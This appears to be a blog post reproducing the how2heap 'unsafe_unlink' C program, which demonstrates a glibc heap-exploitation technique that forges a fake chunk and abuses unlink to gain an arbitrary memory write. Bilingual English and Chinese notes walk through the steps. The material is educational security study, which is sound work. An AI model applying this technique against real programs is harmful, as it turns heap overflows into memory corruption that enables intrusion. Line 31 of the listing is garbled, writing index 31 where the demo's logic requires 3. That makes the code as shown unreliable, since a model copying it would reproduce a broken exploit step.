5.unsafe_unlink

Source 

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <string.h>
 4 #include <stdint.h>
 5 
 6 
 7 uint64_t *chunk0_ptr;
 8 
 9 int main()
10 {
11     fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
12     fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
13     fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
14     fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
15 
16     int malloc_size = 0x80; //we want to be big enough not to use fastbins
17     int header_size = 2;
18 
19     fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
20 
21     chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
22     uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
23     fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
24     fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
25 
26     fprintf(stderr, "We create a fake chunk inside chunk0.\n");
27     fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
28     chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
29     fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
30     fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
3     chunk0_ptr [31] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
32     fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
33     fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
34 
35     fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
36     uint64_t *chunk1_hdr = chunk1_ptr - header_size;
37     fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
38     fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
39     chunk1_hdr[0] = malloc_size;
40     fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
41     fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
42     chunk1_hdr[1] &= ~1;
43 
44     fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
45     fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
46     free(chunk1_ptr);
47 
48     fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
49     char victim_string[8];
50     strcpy(victim_string,"Hello!~");
51     chunk0_ptr[3] = (uint64_t) victim_string;
52 
53     fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
54     fprintf(stderr, "Original value: %s\n",victim_string);
55     chunk0_ptr[0] = 0x4141414142424242LL;
56     fprintf(stderr, "New Value: %s\n",victim_string);
57 }

operation result

 

Applying a first heap block size 0x80 chunk0, the first address data is stored in a global variable at chunk0_ptr

Then apply chunk1 a size of 0x80

After chunk0 then forged in a heap size 0x70 + 0x10 fake

 Forgery fake-> fd = & chunk0_ptr-0x18

fake->bk=&chunk0_ptr-0x10

When the bypass unlink

P-> fd-> bk! = P || P-> bk-> fd! = P) == False detection

After modify chunk1-> prev_size = 0x80 is the forged fake heap size 0x70 + 0x10

chunk1->size->prev_inuse=0 

Create the illusion of fake heap fake freed

It can be seen at 0x603090 changed by the 0x00 0x91 0x80 0x603098 at the changes to 0x90

 After free (chunk1) because the former has become a heap fake is fake freed the way

Two stacks are releasable connected, so the combined forward

Performs unlink (fake) operation, which would modify the value of & fake, i.e., the value of chunk0_ptr

chunk0_ptr=fake->fd=&chunk0_ptr-0x18

之后修改chunk0_ptr[3]的内容 即为修改chunk_ptr的值

这里将chunk_ptr赋值为字符串地址

再修改chunk_ptr[0]的值,即为修改chunk_ptr所指地址处前8字节内容

这里将字符串地址处前8字节修改为BBBBAAAA

这里例子展示了unsafe_unlink,可以造成向指定地址写入任意内容的危害。

 

Guess you like

Origin www.cnblogs.com/pfcode/p/10991415.html